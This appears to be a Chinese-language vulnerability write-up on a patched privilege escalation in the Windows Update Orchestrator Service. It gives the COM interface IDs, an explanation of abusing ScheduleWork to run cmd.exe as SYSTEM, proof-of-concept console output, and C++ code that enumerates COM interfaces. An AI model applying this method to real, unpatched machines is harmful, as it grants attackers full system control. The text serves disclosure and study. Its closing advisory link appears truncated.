Windows Update Orchestrator Service是一个DCOM服务,Windows系统内的其他组件需要使用该服务来安装已下载好的Windows更新。但是,由于该服务中的代码在认证调用函数时存在问题,导致其易受权限提升攻击的影响,即任意用户提升至本地系统权限。该漏洞将影响Windows 10和Windows Server Core产品。
UniversalOrchestrator服务(9C695035-48D2-4229-8B73-4C70E756E519),其代码在usosvc.dll中实现,并且将以NT_AUTHORITY\SYSTEM权限运行,如果拥有BUILTIN\Users的访问权,即可对其进行配置。即使该服务所实现的COM类枚举功能已经被屏蔽了,但是IUniversalOrchestrator接口(c53f3549-0dbf-429a-8297-c812ba00742d)仍然可以通过标准的COM API调用来访问获取。下面给出的就是暴露的三个方法:
virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
ScheduleWork方法可以用来在服务的上下文环境下设置命令执行的计划任务,并且可以在不进行任何认证的情况下执行。目标可执行程序本身必须拥有数字签名,并且必须位于“c:\windows\system32”或“Program Files”目录下。但是,我们同样可以通过命令行参数来执行目标可执行文件,这样我们就可以通过启动“c:\windows\system32\cmd.exe”,并且以NT_AUTHORITY\SYSTEM权限执行任意代码,最终在目标系统中实现提权。
概念验证PoC
C:\111>whoami
desktop-43rnlku\unprivileged
C:\111>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\111>whoami /priv
C:\111>UniversalOrchestratorPrivEscPoc.exe
Obtaining reference to IUniversalOrchestrator
Scheduing work with id 56594
Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.
指定的命令可以在不需要任何用户交互的情况下,在夜间(大约23:20)的时候执行。
当我发现我们无法通过OleView.NET来获取USO服务的接口定义时,我专门创建了一个脚本来遍历大量的CLSID/IID组合。于是乎,我们发现了下列内容:
void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)
{
void *ss = NULL;
IID iid;
ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else
HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);
printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");
}
void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)
{
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!
}
...
TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");
TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");
TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");
// ... and hundreds of more
UniversalOrchestrator IUniversalOrchestrator: WORKING
UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING
UxUpdateManager IUxUpdateManager: WORKING
接下来,我就开始对上述方法执行逆向工程分析,并且发现了本文所介绍的漏洞。
微软目前已在2020年6月份的漏洞补丁中,通过添加CoImpersonateClient API调用来修复了该问题。
实际上,身份伪装实在处理请求的开始时完成的,因此更新注册表的API调用是在调用方的安全上下文中执行的。如果调用方没有访问HKEY_LOCAL_MACHINE的高级权限,那么USO API方法也将无法被执行。
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-131